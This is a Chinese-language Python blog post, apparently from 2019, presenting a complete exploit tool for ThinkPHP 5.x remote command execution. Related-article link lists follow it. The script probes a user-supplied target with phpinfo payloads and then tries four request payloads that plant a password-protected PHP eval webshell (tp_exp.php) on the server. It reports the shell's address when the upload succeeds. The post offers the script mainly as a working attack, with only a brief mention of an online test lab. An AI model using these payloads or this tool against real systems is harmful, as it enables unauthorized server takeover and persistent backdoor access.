python3编写ThinkPHP命令执行Getshell的方法


Posted in Python onFebruary 26, 2019

加了三个验证漏洞以及四个getshell方法

# /usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author: Morker
# @Email: [email]admin@nsf.me[/email]
# @Blog:  [url]http://nsf.me/[/url]
 
import requests
import sys
 
def demo():
  print(' _______ _   _    _  _____ _  _ _____ ')
  print(' |__  __| |  (_)   | | | __ \| | | | __ \ ')
  print('  | | | |__ _ _ __ | | _| |__) | |__| | |__) |')
  print('''  | | | '_ \| | '_ \| |/ / ___/| __ | ___/ ''')
  print('  | | | | | | | | | |  <| |  | | | | |   ')
  print('  |_| |_| |_|_|_| |_|_|\_\_|  |_| |_|_|   ')
  print()
  print('\tThinkPHP 5.x (v5.0.23 and v5.1.31 following version).')
  print('\tRemote command execution exploit.')
  print('\tVulnerability verification and getshell.')
  print('\tTarget: http://target/public')
  print()
class ThinkPHP():
  def __init__(self,web):
    self.web = web
    self.headers = {
    "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0",
    "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding" : "gzip, deflate",
    "Content-Type" : "application/x-www-form-urlencoded",
    "Connection" : "keep-alive"
    }
 
  def verification(self):
    i = 0
    s = 0
    verifications = ['/?s=index/\\think\Request/input&filter=phpinfo&data=1','/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1','/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1']
    while True:
      if i == len(verifications):
        break
      else:
        url = self.web + verifications[i]
        req = requests.get(url=url,headers=self.headers)
        if 'phpinfo()' in req.text:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] There are vulnerabilities.")
      print()
      toshell = input("[*] Getshell? (y/n):")
      if toshell == 'y':
        self.getshell()
      elif toshell == 'n':
        sys.exit()
      else:
        sys.exit()
    else:
      print("[-] There are no vulnerabilities.")
 
  def getshell(self):
    getshells = [
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=tp_exp.php&vars[1][]=<?php @eval($_POST[nicai4]); ?>',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_POST[nicai4]);%20?>%27%20>>%20tp_exp.php',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<?php%20@eval($_POST[nicai4]);%20?^>%20>>tp_exp.php',
    '?s=index/\\think\\template\driver\\file/write&cacheFile=tp_exp.php&content=<?php%20eval($_POST[nicai4]);?>']
    shell = self.web + '/tp_exp.php'
    i = 0
    s = 0
    while True:
      if i == len(getshells):
        break
      else:
        url = self.web + getshells[i]
        req = requests.get(url=url,headers=self.headers)
        req_shell = requests.get(url=shell,headers=self.headers)
        if req_shell.status_code == 200:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] WebShell :%s PassWord :nicai4" % shell)
    else:
      print("[-] The vulnerability does not exist or exists waf.")
 
def main():
  demo()
  url = input("[*] Please input your target: ")
  run = ThinkPHP(url)
  run.verification()
 
if __name__ == '__main__':
  main()

注:图中的测试网址为在线漏洞环境,可自己去在线搭建测试。

环境地址:https://www.vsplate.com/

效果图:

python3编写ThinkPHP命令执行Getshell的方法

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python中的装饰器详解
Apr 13 Python
Python中的descriptor描述器简明使用指南
Jun 02 Python
Python模拟登陆实现代码
Jun 14 Python
Python排序搜索基本算法之堆排序实例详解
Dec 08 Python
Python使用pyh生成HTML文档的方法示例
Mar 10 Python
Django使用redis缓存服务器的实现代码示例
Apr 28 Python
Python玩转PDF的各种骚操作
May 06 Python
75条笑死人的知乎神回复,用60行代码就爬完了
May 06 Python
python3 使用openpyxl将mysql数据写入xlsx的操作
May 15 Python
Python爬虫获取豆瓣电影并写入excel
Jul 31 Python
python 求两个向量的顺时针夹角操作
Mar 04 Python
python 使用Tensorflow训练BP神经网络实现鸢尾花分类
May 12 Python
初探利用Python进行图文识别(OCR)
Feb 26 #Python
Python编写合并字典并实现敏感目录的小脚本
Feb 26 #Python
Python实现监控Nginx配置文件的不同并发送邮件报警功能示例
Feb 26 #Python
利用python实现对web服务器的目录探测的方法
Feb 26 #Python
python selenium 弹出框处理的实现
Feb 26 #Python
python实现学员管理系统
Feb 26 #Python
python实现电子产品商店
Feb 26 #Python
You might like
PHP 模拟$_PUT实现代码
2010/03/15 PHP
9个PHP开发常用功能函数小结
2011/07/15 PHP
php加密算法之实现可逆加密算法和解密分享
2014/01/21 PHP
PHP动态生成javascript文件的2个例子
2014/04/11 PHP
使用PHP破解防盗链图片的一个简单方法
2014/06/07 PHP
PHP实现图片批量打包下载功能
2017/03/01 PHP
使用Modello编写JavaScript类
2006/12/22 Javascript
javascript URL锚点取值方法
2009/02/25 Javascript
JS实现两表格里数据来回转移的方法
2015/05/28 Javascript
js 右侧浮动层效果实现代码(跟随滚动)
2015/11/22 Javascript
基于javascript实现按圆形排列DIV元素(一)
2016/12/02 Javascript
vue自定义过滤器创建和使用方法详解
2017/11/06 Javascript
Js中将Long转换成日期格式的实现方法
2018/06/05 Javascript
vue3.0 CLI - 2.3 - 组件 home.vue 中学习指令和绑定
2018/09/14 Javascript
javascript 对象 与 prototype 原型用法实例分析
2019/11/11 Javascript
JS一次前端面试经历记录
2020/03/19 Javascript
[10:18]2018DOTA2国际邀请赛寻真——Fnatic能否笑到最后?
2018/08/14 DOTA
[07:37]DOTA2-DPC中国联赛2月2日Recap集锦
2021/03/11 DOTA
python中string模块各属性以及函数的用法介绍
2016/05/30 Python
Centos Python2 升级到Python3的简单实现
2016/06/21 Python
Python中__init__.py文件的作用详解
2016/09/18 Python
Python编程使用*解包和itertools.product()求笛卡尔积的方法
2017/12/18 Python
用python脚本24小时刷浏览器的访问量方法
2018/12/07 Python
英国可持续奢侈品包包品牌:Elvis & Kresse
2018/08/05 全球购物
The Kooples美国官方网站:为情侣提供的法国当代时尚品牌
2019/01/03 全球购物
美国手工艺品市场的领导者:Annie’s
2019/04/04 全球购物
有影响力的人、名人和艺术家的官方商品:Represent
2019/11/26 全球购物
COSETTE官网:奢华,每天
2020/03/22 全球购物
小学生暑假家长评语
2014/04/17 职场文书
电子商务专业毕业生自荐书
2014/06/22 职场文书
学习实践科学发展观心得体会
2014/09/10 职场文书
《周恩来的四个昼夜》观后思想汇报范文两篇
2014/09/10 职场文书
项目合作协议书
2014/09/23 职场文书
2016年国庆节新闻稿范文
2015/11/25 职场文书
利用ajax+php实现商品价格计算
2021/03/31 PHP
十大最强飞行系宝可梦,BUG燕上榜,第二是飞行系王者
2022/03/18 日漫